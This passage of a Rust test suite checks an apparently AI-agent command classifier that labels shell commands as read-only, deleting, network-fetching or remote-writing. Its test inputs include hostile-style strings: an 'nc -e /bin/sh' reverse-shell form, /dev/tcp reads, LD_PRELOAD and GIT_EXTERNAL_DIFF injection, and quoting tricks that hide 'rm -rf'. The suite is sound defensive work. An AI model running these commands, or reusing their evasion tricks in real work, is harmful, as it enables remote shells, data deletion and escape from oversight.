4875 "git commit -c HEAD",
4876 "cargo test --config 'target.x.runner=\"sh\"'",
4877 "cargo build --config=build.rustc-wrapper=x",
4878 "make --eval='$x'",
4879 "make -E x",
4880 "make -E'$x'",
4881 "go build --toolexec=x",
4882 "go build -toolexec x ./...",
4883 "go test -exec=x ./...",
4884 "python3 /dev/stdin",
4885 "python3 -",
4886 "node /dev/fd/3",
4887 "npm exec x",
4888 "pnpm dlx x",
4889 "yarn dlx x",
4890 ] {
4891 assert!(!command_effects(other).local_work_only, "{other}");
4892 }
4893 for local in [
4894 "git rebase main",
4895 "make -j4 all",
4896 "go test ./...",
4897 "node scripts/x.js",
4898 ] {
4899 assert!(command_effects(local).local_work_only, "{local}");
4900 }
4901 assert_eq!(
4902 command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
4903 Some(vec!["-odd".into(), "build".into(), "out".into()])
4904 );
4905 for unknown in [
4906 "rm \"$X\"",
4907 "git clean -fd",
4908 "xargs rm",
4909 "rm `ls`",
4910 "find -delete",
4911 "find -L / -delete",
4912 "rm -rf {a,b}",
4913 "cd x && rm y",
4914 ] {
4915 assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
4916 }
4917 assert!(!command_effects("ls > out").observation_only);
4919 }
4920
4921 #[test]
4922 fn command_effects_types_observation_by_structure() {
4923 for observing in [
4924 "ls /tmp",
4925 "git status",
4926 "grep -r x .",
4927 "cat a 2>&1 | head",
4928 "ls > /dev/null",
4929 "ls 2>/dev/null",
4930 "echo 'a > b'",
4931 "git branch --list",
4932 "git branch",
4933 "find . -name '*.rs'",
4934 "date +%Y",
4935 "date -u",
4936 "date -u +%H:%M",
4937 "date --utc",
4938 "date -R",
4939 "date -Iseconds",
4940 "date --iso-8601=seconds",
4941 "tree -a -L 2",
4942 "uniq -c f",
4943 "date",
4944 "/usr/bin/ls",
4945 "rg -n foo src",
4946 "sort -u f",
4947 "cat < /dev/null",
4948 "test ! -e restart-check.txt",
4949 "[ -f Cargo.toml ]",
4950 "test -d src && ls src",
4951 "sleep 18",
4952 "sleep 0.5",
4953 "sleep 2m",
4954 "sleep 5 && cat out.log",
4955 "TZ=Asia/Tokyo date '+%I:%M %p'",
4958 "date -u '+%Y'; TZ=Europe/London date '+London %H'",
4959 "for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
4960 "LC_ALL=C sort -u f",
4961 "find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
4962 "find . -name '*.rs' -exec wc -l {} \\;",
4963 "df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
4964 "top -b -n 1",
4965 "sysctl -a",
4966 "git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
4967 "sw_vers -productVersion; hostname; uptime",
4968 "hostname -s",
4969 ] {
4970 assert!(
4971 command_effects(observing).observation_only,
4972 "{observing} should be observation-only"
4973 );
4974 }
4975 for mutating in [
4976 "sleep infinity",
4977 "sleep 5; curl example.invalid",
4978 "sleep $(curl example.invalid)",
4979 "rm -rf /tmp/aidaemon-test/x",
4980 "ls /tmp; rm -rf /tmp/aidaemon-test/x",
4981 "ls && rm x",
4982 "cat a > b",
4983 "echo x >> b",
4984 "ls | xargs rm",
4985 "ls | tee out",
4986 "echo $(curl example.invalid)",
4987 "echo \"$(curl example.invalid)\"",
4988 "echo `id`",
4989 "find . -delete",
4990 "find . -exec rm {} ;",
4991 "sed -i s/a/b/ f",
4992 "sed -ni p f",
4993 "sed --in-place p f",
4994 "git push",
4995 "git branch -D x",
4996 "git clean -fd",
4997 "python3 script.py",
4998 "curl https://example.invalid",
4999 "sh -c 'rm x'",
5000 "cat a >&out",
5001 "echo hi &> out",
5002 "sort -o out in",
5003 "git diff --output=out",
5004 "uniq in out",
5005 "echo 'unterminated",
5006 "",
5007 "ls; env -S 'rm x'",
5008 "ls; env -S'rm x'",
5009 "ls # <<EOF\nrm x\nEOF",
5010 "ls\nrm x",
5011 "cat <<EOF\nhi\nEOF",
5012 "rg --pre rm x .",
5013 "rg --pre=rm x .",
5014 "rg --hostname-bin=rm x",
5015 "rg -z foo",
5016 "GIT_EXTERNAL_DIFF='rm -rf x' git diff",
5017 "env GIT_EXTERNAL_DIFF=rm git diff",
5018 "FOO=1 ls",
5019 "PATH=/tmp ls",
5020 "TZ=UTC PATH=/tmp date",
5021 "LD_PRELOAD=x date",
5022 "LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
5023 "find . -exec rm {} +",
5024 "find . -exec stat {} \\; -delete",
5025 "find . -exec stat {}",
5026 "find . -ok stat {} \\;",
5027 "find . -exec sh -c 'rm x' \\;",
5028 "hostname newname",
5029 "hostname -F f",
5030 "sysctl -w kern.x=1",
5031 "sysctl kern.x=1",
5032 "sysctl -p",
5033 "sysctl --system",
5034 "top",
5035 "top -l 0",
5036 "git branch --show-current -D x",
5037 "env ls",
5038 "git --config-env=core.fsmonitor=F status",
5039 "git -c core.pager=x status",
5040 "git diff --ext-diff",
5041 "sort --compress-program=rm a",
5042 "cat </dev/tcp/example.invalid/80",
5043 "cat < f",
5044 "date -s 2020-01-01",
5045 "date -u -s 2020-01-01",
5046 "date -u 010112002020",
5047 "date 010112002020",
5048 "date +%Y 010112002020",
5049 "date +%Y +%m",
5050 "date -us 2020-01-01",
5051 "hostname evil",
5052 "file -C -m m",
5053 "sed -n p f",
5054 "sed 's/a/b/w out' f",
5055 "sed '1e rm x' f",
5056 "(rm x)",
5057 "{ rm x; }",
5058 "sudo ls",
5059 "nice ls",
5060 "timeout 5 ls",
5061 "/tmp/evil/ls",
5062 "./ls",
5063 "echo a #b",
5064 "echo $'\\'' > out \\'",
5065 "echo $'a\\'' ; rm -rf x ; echo \\'",
5066 "echo $'a\\'' ; curl example.invalid ; echo \\'",
5067 "uniq - out",
5068 "uniq -c - out",
5069 "tree -ao out",
5070 "tree -R",
5071 "tree --weird",
5072 "git -C d status",
5073 "git --git-dir=d status",
5074 "git --git-dir d status",
5075 "git --work-tree=d status",
5076 ] {
5077 assert!(
5078 !command_effects(mutating).observation_only,
5079 "{mutating} should not be observation-only"
5080 );
5081 }
5082 }
5083
5084 #[test]
5085 fn remote_writes_are_read_from_option_structure() {
5086 for writing in [
5087 "curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
5088 "curl -X POST http://localhost:1/x",
5089 "curl -XDELETE http://localhost:1/x",
5090 "curl -sd a=1 https://example.invalid",
5091 "curl --json '{}' https://example.invalid",
5092 "curl -F f=@a https://example.invalid",
5093 "curl --upload-file a https://example.invalid",
5094 "wget --post-data=a=1 https://example.invalid",
5095 "wget --method PUT https://example.invalid",
5096 "git push origin main",
5097 "git -C repo push",
5098 "cd x && curl -X PATCH https://example.invalid",
5099 ] {
5100 assert!(sends_remote_write(writing), "{writing} sends a write");
5101 }
5102 for reading in [
5103 "curl https://example.invalid",
5104 "curl -sSL -o out https://example.invalid",
5105 "curl -X GET https://example.invalid",
5106 "curl --request=HEAD https://example.invalid",
5107 "wget https://example.invalid",
5108 "git pull",
5109 "git log --grep push",
5110 "ls",
5111 ] {
5112 assert!(!sends_remote_write(reading), "{reading} only reads");
5113 }
5114 }
5115
5116 #[test]
5117 fn fetches_network_by_executable_table() {
5118 for fetching in [
5119 "curl https://example.invalid",
5120 "ls && wget x",
5121 "git clone u",
5122 "git -C d pull",
5123 "npm install x",
5124 "cargo add serde",
5125 "sh -c 'ssh host'",
5126 "gh pr list",
5127 "sudo curl x",
5128 "nice curl x",
5129 "timeout 5 curl x",
5130 "xargs curl",
5131 "find . -exec curl {} ;",
5132 "(curl x)",
5133 "{ curl x; }",
5134 "echo \"$(curl x)\"",
5135 "cat </dev/tcp/example.invalid/80",
5136 "pip3 -q install x",
5137 "npm --prefix d install x",
5138 "cargo +nightly install x",
5139 "yarn",
5140 "npm ci",
5141 "npx foo",
5142 "pnpm dlx foo",
5143 "bunx foo",
5144 "uvx foo",
5145 "uv pip install x",
5146 "pip download x",
5147 "brew install x",
5148 "go get x",
5149 "docker pull x",
5150 "gem install x",
5151 "apt-get install x",
5152 "svn up",
5153 "hg pull",
5154 "socat a b",
5155 "openssl s_client -connect h:1",
5156 "ping h",
5157 "dig h",
5158 "rclone ls r:",
5159 "aws s3 ls",
5160 "kubectl get pods",
5161 "git remote update",
5162 "git archive --remote=u HEAD",
5163 "git push",
5164 "npm publish",
5165 "cargo publish",
5166 "FOO=1 curl x",
5167 ] {
5168 assert!(fetches_network(fetching), "{fetching}");
5169 }
5170 for local in [
5171 "git status",
5172 "npm test",
5173 "cargo build",
5174 "echo curl",
5175 "ls",
5176 "yarn test",
5177 ] {
5178 assert!(!fetches_network(local), "{local}");
5179 }
5180 }
5181
5182 #[test]
5183 fn ansi_c_quoting_over_reports_effects() {
5184 for hidden in [
5185 "echo $'a\\'' ; rm -rf x ; echo \\'",
5186 "echo $'a\\'' ; curl example.invalid ; echo \\'",
5187 ] {
5188 assert!(command_effects(hidden).deletes, "{hidden}");
5189 assert!(fetches_network(hidden), "{hidden}");
5190 }
5191 }
5192
5193 #[test]
5194 fn git_config_paths_are_structural() {
5195 for path in [
5196 "/repo/.git/config",
5197 ".git/hooks/pre-commit",
5198 "a/.git",
5199 "/repo/sub/.gitattributes",
5200 ".gitmodules",
5201 "C:\\repo\\.git\\config",
5202 ] {
5203 assert!(is_git_config_path(path), "{path}");
5204 }
5205 for path in [
5206 "/repo/.github/x.yml",
5207 "/repo/src/git.rs",
5208 "a/.gitignore",
5209 "/repo/gitattributes",
5210 ] {
5211 assert!(!is_git_config_path(path), "{path}");
5212 }
5213 }
5214
5215 #[test]
5216 fn git_config_path_detection_is_case_insensitive_and_global() {
5217 for path in [
5218 ".GIT/config",
5219 "repo/.Git/config",
5220 "repo/.GITATTRIBUTES",
5221 "repo/.GITMODULES",
5222 "repo/.git./config",
5223 "repo/.git /config",
5224 "./repo/x/../.git/config",
5225 "~/.gitconfig",
5226 "$HOME/.gitconfig",
5227 "${HOME}/.gitconfig",
5228 "~/.config/git/attributes",
5229 "~/.config/git/config",
5230 "~/.config/../.config/git/ignore",
5231 "/etc/gitconfig",
5232 "/etc/./gitconfig",
5233 "/srv/user/.GITCONFIG",
5234 ] {
5235 assert!(is_git_config_path(path), "{path}");
5236 }
5237 if let Some(home) = dirs::home_dir() {
5238 let absolute = home.join(".config").join("git").join("attributes");
5239 assert!(is_git_config_path(&absolute.to_string_lossy()));
5240 }
5241 for path in [
5243 "repo/src/git.rs",
5244 "repo/.github/workflows/x.yml",
5245 "repo/.gitignore",
5246 "repo/.GITHUB/x.yml",
5247 "/etc/gitconfig.d/x",
5248 "repo/config/git.toml",
5249 ] {
5250 assert!(!is_git_config_path(path), "{path}");
5251 }
5252 }
5253
5254 #[test]
5255 fn command_words_naming_git_config_are_detected() {
5256 for command in [
5257 "cp x ~/.gitconfig",
5258 "echo x > ~/.gitconfig",
5259 "echo x >>.git/config",
5260 "git config --file=$HOME/.gitconfig a.b c",
5261 "sh -c 'cp x .GIT/hooks/pre-commit'",
5262 "echo \"$(cp x /etc/gitconfig)\"",
5263 "cp x \"repo/.gitattributes\"",
5264 ] {
5265 assert!(command_names_git_config_path(command), "{command}");
5266 }
5267 for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
5268 assert!(!command_names_git_config_path(command), "{command}");
5269 }
5270 }
5271
5272 #[test]
5273 fn command_effects_flags_deletion_structurally() {
5274 for deleting in [
5275 "rm x",
5276 "find . -delete",
5277 "git clean -fd",
5278 "ls; rmdir d",
5279 "sh -c 'unlink x'",
5280 "ls | xargs rm",
5281 "find . -exec shred {} ;",
5282 "sudo rm x",
5283 "nice rm x",
5284 "timeout 5 rm x",
5285 "(rm x)",
5286 "{ rm x; }",
5287 "exec rm x",
5288 "echo \"$(rm x)\"",
5289 "FOO=1 rm x",
5290 ] {
5291 assert!(command_effects(deleting).deletes, "{deleting}");
5292 }
5293 for benign in [
5294 "ls",
5295 "git status",
5296 "echo rm",
5297 "grep rm file",
5298 "find . -name x",
5299 ] {
5300 assert!(!command_effects(benign).deletes, "{benign}");
5301 }
5302 }
5303
5304 fn egress(target: &str) -> EffectKey {
5305 EffectKey {
5306 class: EffectClass::Egress,
5307 target: target.to_string(),
5308 }
5309 }
5310
5311 fn canonical(path: &str) -> String {
5314 let path = std::path::Path::new(path);
5315 for ancestor in path.ancestors() {
5316 if let Ok(real) = dunce::canonicalize(ancestor) {
5317 let rest = path.strip_prefix(ancestor).unwrap();
5318 return real
5319 .join(rest)
5320 .to_string_lossy()
5321 .trim_end_matches('/')
5322 .to_string();
5323 }
5324 }
5325 unreachable!()
5326 }
5327
5328 fn synthetic_dir() -> String {
5329 format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
5330 }
5331
5332 #[test]
5333 fn ipv6_bracketed_and_bare_hosts_match() {
5334 assert_eq!(
5335 egress_effect("http", "[::1]", Some(8765)),
5336 egress_effect("http", "::1", Some(8765))
5337 );
5338 assert_eq!(
5339 egress_effect("http", "[::1]", Some(8765)),
5340 Some(egress("::1:8765"))
5341 );
5342 assert_eq!(
5344 url_effect("http://[::1]:8765/announce"),
5345 Some(egress("::1:8765"))
5346 );
5347 assert_eq!(
5348 shell_call_effects("nc ::1 8765", None).keys,
5349 vec![egress("::1:8765")]
5350 );
5351 }
5352
5353 #[test]
5354 fn existing_path_declared_canonically() {
5355 let dir = tempfile::tempdir().unwrap();
5356 let real = dir.path().join("real");
5357 std::fs::create_dir(&real).unwrap();
5358 let link = dir.path().join("link");
5359 #[cfg(unix)]
5360 std::os::unix::fs::symlink(&real, &link).unwrap();
5361 #[cfg(not(unix))]
5362 return;
5363 let real_canonical = dunce::canonicalize(&real).unwrap();
5364 let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
5366 assert_eq!(existing.target, real_canonical.to_string_lossy());
5367 let new_file = path_effect(
5369 EffectClass::Write,
5370 &format!("{}/f.txt", link.to_str().unwrap()),
5371 None,
5372 )
5373 .unwrap();
5374 assert_eq!(
5375 new_file.target,
5376 real_canonical.join("f.txt").to_string_lossy()
5377 );
5378 let relative =
5381 path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
5382 assert_eq!(relative, new_file);
5383 assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
5384 let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
5386 assert_eq!(
5387 removed.target,
5388 dunce::canonicalize(dir.path())
5389 .unwrap()
5390 .join("link")
5391 .to_string_lossy()
5392 );
5393 }
5394
5395 #[test]
5396 fn network_programs_declare_their_hosts() {
5397 let cases: &[(&str, &[&str])] = &[
5398 (
5399 "ssh deploy@h.example.invalid uptime",
5400 &["h.example.invalid:22"],
5401 ),
5402 ("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
5403 (
5404 "ssh ssh://h.example.invalid:2200",
5405 &["h.example.invalid:2200"],
5406 ),
5407 ("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
5408 (
5409 "http POST https://api.example.invalid/v1 name=x",
5410 &["api.example.invalid:443"],
5411 ),
5412 ];
5413 for (command, hosts) in cases {
5414 let effects = shell_call_effects(command, None);
5415 assert!(!effects.complete, "{command}");
5416 let egress: Vec<_> = effects
5417 .keys
5418 .iter()
5419 .filter(|key| key.class == EffectClass::Egress)
5420 .map(|key| key.target.as_str())
5421 .collect();
5422 assert_eq!(&egress, hosts, "{command}");
5423 }
5424 }
5425
5426 #[test]
5427 fn local_file_effects_are_declared_with_their_class() {
5428 let dir = synthetic_dir();
5429 let key = |class: EffectClass, path: &str| EffectKey {
5430 class,
5431 target: canonical(path),
5432 };
5433 let cases: Vec<(String, Vec<EffectKey>)> = vec![
5434 (
5435 format!("rm -rf {dir}/build"),
5436 vec![key(EffectClass::Delete, &format!("{dir}/build"))],
5437 ),
5438 (
5439 format!("cp a.txt {dir}/b.txt"),
5440 vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
5441 ),
5442 (
5443 format!("mv {dir}/a {dir}/b"),
5444 vec![
5445 key(EffectClass::Delete, &format!("{dir}/a")),
5446 key(EffectClass::Write, &format!("{dir}/b")),
5447 ],
5448 ),
5449 (
5450 format!("printf x | tee -a {dir}/log"),
5451 vec![key(EffectClass::Write, &format!("{dir}/log"))],
5452 ),
5453 (
5454 format!("curl -o {dir}/page.html https://a.example.invalid/"),
5455 vec![
5456 key(EffectClass::Write, &format!("{dir}/page.html")),
5457 egress("a.example.invalid:443"),
5458 ],
5459 ),
5460 (
5461 format!("scp h.example.invalid:/srv/x {dir}/x"),
5462 vec![
5463 egress("h.example.invalid:22"),
5464 key(EffectClass::Write, &format!("{dir}/x")),
5465 ],
5466 ),
5467 ];
5468 for (command, expected) in cases {
5469 let effects = shell_call_effects(&command, None);
5470 assert!(!effects.complete, "{command}");
5471 let mut keys = effects.keys.clone();
5472 let mut expected = expected.clone();
5473 keys.sort_by(|a, b| a.target.cmp(&b.target));
5474 expected.sort_by(|a, b| a.target.cmp(&b.target));
5475 assert_eq!(keys, expected, "{command}");
5476 }
5477 }
5478
5479 #[test]
5480 fn undeterminable_segments_make_effects_incomplete() {
5481 for command in [
5482 "bash run.sh",
5483 "python3 tool.py",
5484 "rm build",
5485 "echo x > out.txt",
5486 "cd /tmp/aidaemon-test && rm -rf x",
5487 "curl -O https://a.example.invalid/f",
5488 "curl --frobnicate https://a.example.invalid/",
5489 "wget https://a.example.invalid/f",
5490 "cargo build",
5491 "git commit -m x",
5492 "rm $TARGET",
5493 "echo $(curl https://a.example.invalid/)",
5494 "ssh -o ProxyCommand=x h.example.invalid",
5495 ] {
5496 assert!(!shell_call_effects(command, None).complete, "{command}");
5497 }
5498 let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
5500 assert!(!partial.complete);
5501 assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
5502 let dir = synthetic_dir();
5504 let resolved = shell_call_effects("rm build", Some(&dir));
5505 assert!(!resolved.complete);
5506 assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
5507 for observation in ["ls -la", "echo hi", "cat a | grep b"] {
5510 let effects = shell_call_effects(observation, None);
5511 assert!(
5512 effects.keys.is_empty() && !effects.complete,
5513 "{observation}"
5514 );
5515 assert!(effects.understood, "{observation}");
5516 }
5517 for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
5518 assert!(!shell_call_effects(command, None).understood, "{command}");
5519 }
5520 }
5521
5522 #[test]
5527 fn a_literal_cd_moves_where_later_paths_resolve() {
5528 let dir = synthetic_dir();
5529 let first = shell_call_effects(
5530 &format!(
5531 "cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
5532 ),
5533 None,
5534 );
5535 assert!(!first.complete);
5536 assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
5537 assert!(
5538 first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
5539 "{:?}",
5540 first.keys
5541 );
5542 let reworded = shell_call_effects(
5544 &format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
5545 Some("/tmp/aidaemon-test/elsewhere"),
5546 );
5547 assert!(
5548 reworded
5549 .keys
5550 .iter()
5551 .any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
5552 );
5553 let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
5555 assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
5556 for command in [
5559 format!("cd {dir} | true\nrm -f x"),
5560 format!("cd {dir} & rm -f x"),
5561 format!("(cd {dir}) ; rm -f x"),
5562 "cd $HOME && rm -f x".to_string(),
5563 "cd - && rm -f x".to_string(),
5564 format!("pushd {dir} && rm -f x"),
5565 ] {
5566 let effects = shell_call_effects(&command, None);
5567 assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
5568 }
5569 }
5570
5571 enum Expect {
5573 Incomplete,
5575 Exact(Vec<EffectKey>),
5577 Within(Vec<EffectKey>),
5580 }
5581
5582 fn write(path: &str) -> EffectKey {
5583 EffectKey {
5584 class: EffectClass::Write,
5585 target: canonical(path),
5586 }
5587 }
5588
5589 fn delete(path: &str) -> EffectKey {
5590 EffectKey {
5591 class: EffectClass::Delete,
5592 target: canonical(path),
5593 }
5594 }
5595
5596 #[test]
5601 fn under_declaration_corpus() {
5602 use Expect::{Exact, Incomplete, Within};
5603 let w = "/tmp/aidaemon-test/w";
5604 let cases: Vec<(&str, Expect)> = vec![
5605 ("cd /etc && echo x > f", Incomplete),
5607 ("pushd /etc && rm -f f", Incomplete),
5608 ("popd; echo x > f", Incomplete),
5609 ("cd /tmp && curl https://a.example.invalid/", Incomplete),
5610 ("git clone -u ./x https://a.example.invalid/r", Incomplete),
5612 ("git pull -s ours https://a.example.invalid/r", Incomplete),
5613 ("curl 'https://{a,b}.example.invalid/'", Incomplete),
5615 ("curl https://{a,b}.example.invalid/", Incomplete),
5616 ("ssh {a,b}.example.invalid", Incomplete),
5617 ("scp f {a,b}.example.invalid:", Incomplete),
5618 ("nc {a,b}.example.invalid 80", Incomplete),
5619 ("curl 'https://a*.example.invalid/'", Incomplete),
5620 ("curl 'https://a,b.example.invalid/'", Incomplete),
5621 ("curl 'https://[a-b].example.invalid/'", Incomplete),
5622 ("ssh 'a?.example.invalid'", Incomplete),
5623 (
5625 "curl 'https://a.example.invalid\\@b.example.invalid/'",
5626 Incomplete,
5627 ),
5628 (
5629 "curl 'https://u@a.example.invalid@b.example.invalid/'",
5630 Incomplete,
5631 ),
5632 (
5633 "wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
5634 Incomplete,
5635 ),
5636 ("curl 'https://a.example.invalid /'", Incomplete),
5637 ("curl 'https://รค.example.invalid/'", Incomplete),
5638 (
5639 "git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
5640 Incomplete,
5641 ),
5642 ("rsync --port=8730 f h.example.invalid:d", Incomplete),
5644 (
5645 "rsync --port=8730 f rsync://h.example.invalid/m/",
5646 Incomplete,
5647 ),
5648 (
5650 "curl -x http://p.example.invalid https://a.example.invalid/",
5651 Incomplete,
5652 ),
5653 (
5654 "curl -x socks5://p.example.invalid https://a.example.invalid/",
5655 Incomplete,
5656 ),
5657 (
5658 "curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
5659 Incomplete,
5660 ),
5661 (
5662 "curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
5663 Incomplete,
5664 ),
5665 (
5666 "ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
5667 Incomplete,
5668 ),
5669 ("curl ftp.example.invalid/f", Incomplete),
5671 ("curl a.example.invalid/x", Incomplete),
5672 ("curl @file", Incomplete),
5673 ("http :8080/health", Incomplete),
5674 ("wget -O- a.example.invalid", Incomplete),
5675 ("git pull https://a.example.invalid/r", Incomplete),
5677 ("git fetch https://a.example.invalid/r", Incomplete),
5678 ("git push https://a.example.invalid/r main", Incomplete),
5679 (
5680 "git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
5681 Incomplete,
5682 ),
5683 ("git clone https://h.example.invalid/a.bundle", Incomplete),
5684 ("git ls-remote https://a.example.invalid/r", Incomplete),
5685 (
5686 "git ls-remote --heads https://a.example.invalid/r",
5687 Incomplete,
5688 ),
5689 (
5691 "rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
5692 Incomplete,
5693 ),
5694 (
5695 "rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5696 Incomplete,
5697 ),
5698 (
5699 "rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5700 Incomplete,
5701 ),
5702 (
5703 "rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
5704 Incomplete,
5705 ),
5706 (
5707 "rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
5708 Incomplete,
5709 ),
5710 ("rsync -e ssh a h.example.invalid:d", Incomplete),
5711 (
5712 "rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
5713 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5714 ),
5715 (
5717 "ssh h.example.invalid somecmd -p 2222",
5718 Exact(vec![egress("h.example.invalid:22")]),
5719 ),
5720 ("cp -b a /tmp/aidaemon-test/f", Incomplete),
5722 ("cp --backup a /tmp/aidaemon-test/f", Incomplete),
5723 (
5724 "mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
5725 Incomplete,
5726 ),
5727 (
5729 "curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
5730 Exact(vec![
5731 write("/tmp/aidaemon-test/x"),
5732 egress("a.example.invalid:443"),
5733 ]),
5734 ),
5735 ("curl -K cfg https://a.example.invalid/", Incomplete),
5736 ("curl --config cfg https://a.example.invalid/", Incomplete),
5737 ("curl -O https://a.example.invalid/f", Incomplete),
5738 (
5739 "curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
5740 Incomplete,
5741 ),
5742 (
5743 "curl --connect-to ::127.0.0.1: https://a.example.invalid/",
5744 Incomplete,
5745 ),
5746 (
5747 "curl -d @file https://a.example.invalid/",
5748 Exact(vec![egress("a.example.invalid:443")]),
5749 ),
5750 (
5751 "curl -X POST https://a.example.invalid/x -d '{}'",
5752 Exact(vec![egress("a.example.invalid:443")]),
5753 ),
5754 ("curl $URL", Incomplete),
5755 ("curl \"$(cat u)\"", Incomplete),
5756 (
5757 "curl https://a.example.invalid/ https://b.example.invalid/",
5758 Exact(vec![
5759 egress("a.example.invalid:443"),
5760 egress("b.example.invalid:443"),
5761 ]),
5762 ),
5763 (
5764 "curl -w '%output{/tmp/x}' https://a.example.invalid/",
5765 Incomplete,
5766 ),
5767 ("curl http://[::1]:8765/", Incomplete),
5768 ("wget -i list", Incomplete),
5770 ("wget -e robots=off https://a.example.invalid/", Incomplete),
5771 ("wget -r https://a.example.invalid/", Incomplete),
5772 ("wget -P /tmp https://a.example.invalid/", Incomplete),
5773 ("wget https://a.example.invalid/f", Incomplete),
5774 (
5775 "wget -qO- http://b.example.invalid:8080/y",
5776 Exact(vec![egress("b.example.invalid:8080")]),
5777 ),
5778 ("git push origin main", Incomplete),
5780 (
5781 "git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
5782 Incomplete,
5783 ),
5784 ("git clone 'ext::sh -c x'", Incomplete),
5785 (
5786 "git clone --upload-pack=x https://a.example.invalid/r",
5787 Incomplete,
5788 ),
5789 (
5790 "git push --receive-pack=x https://a.example.invalid/r",
5791 Incomplete,
5792 ),
5793 ("git commit -m x", Incomplete),
5794 ("git status", Incomplete),
5797 ("git diff", Incomplete),
5798 ("git log --oneline", Incomplete),
5799 ("git show HEAD", Incomplete),
5800 ("git rev-parse HEAD", Incomplete),
5801 ("git branch --list", Incomplete),
5802 ("ls -la && git status", Incomplete),
5803 ("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
5805 ("ssh -F cfg h.example.invalid", Incomplete),
5806 ("ssh -J j.example.invalid h.example.invalid", Incomplete),
5807 ("ssh -W x:1 h.example.invalid", Incomplete),
5808 (
5809 "scp /tmp/aidaemon-test/a b.example.invalid:",
5810 Exact(vec![egress("b.example.invalid:22")]),
5811 ),
5812 ("nc -l 8080", Incomplete),
5813 ("nc -e /bin/sh h.example.invalid 80", Incomplete),
5814 (
5815 "nc -x p.example.invalid:1080 h.example.invalid 80",
5816 Incomplete,
5817 ),
5818 ("python3 -m http.server", Incomplete),
5819 (
5821 "cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
5822 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5823 ),
5824 (
5825 "mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
5826 Exact(vec![
5827 write("/tmp/aidaemon-test/c"),
5828 delete("/tmp/aidaemon-test/a"),
5829 delete("/tmp/aidaemon-test/b"),
5830 ]),
5831 ),
5832 (
5833 "tee -a /tmp/aidaemon-test/f",
5834 Exact(vec![write("/tmp/aidaemon-test/f")]),
5835 ),
5836 ("echo x >&2", Exact(vec![])),
5838 (
5839 "echo x >| /tmp/aidaemon-test/f",
5840 Exact(vec![write("/tmp/aidaemon-test/f")]),
5841 ),
5842 (
5843 "echo x &> /tmp/aidaemon-test/f",
5844 Exact(vec![write("/tmp/aidaemon-test/f")]),
5845 ),
5846 (
5847 "echo x 2> /tmp/aidaemon-test/f",
5848 Exact(vec![write("/tmp/aidaemon-test/f")]),
5849 ),
5850 (
5851 "echo x >& /tmp/aidaemon-test/f",
5852 Exact(vec![write("/tmp/aidaemon-test/f")]),
5853 ),
5854 ("echo x > 'out file'", Incomplete),
5855 ("exec 3> /tmp/aidaemon-test/f", Incomplete),
5856 ("cat <> /tmp/aidaemon-test/f", Incomplete),
5857 ("cat <<EOF\nx\nEOF", Incomplete),
5858 ("echo $'x'", Incomplete),
5859 ("cat < /dev/tcp/h.example.invalid/80", Incomplete),
5860 ("xargs rm", Incomplete),
5862 ("find . -exec rm {} \\;", Incomplete),
5863 ("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
5864 ("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
5865 ("command rm /tmp/aidaemon-test/x", Incomplete),
5866 ("nohup rm /tmp/aidaemon-test/x", Incomplete),
5867 ("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
5868 ("sudo rm /tmp/aidaemon-test/x", Incomplete),
5869 ("time rm /tmp/aidaemon-test/x", Incomplete),
5870 ("{ rm /tmp/aidaemon-test/x; }", Incomplete),
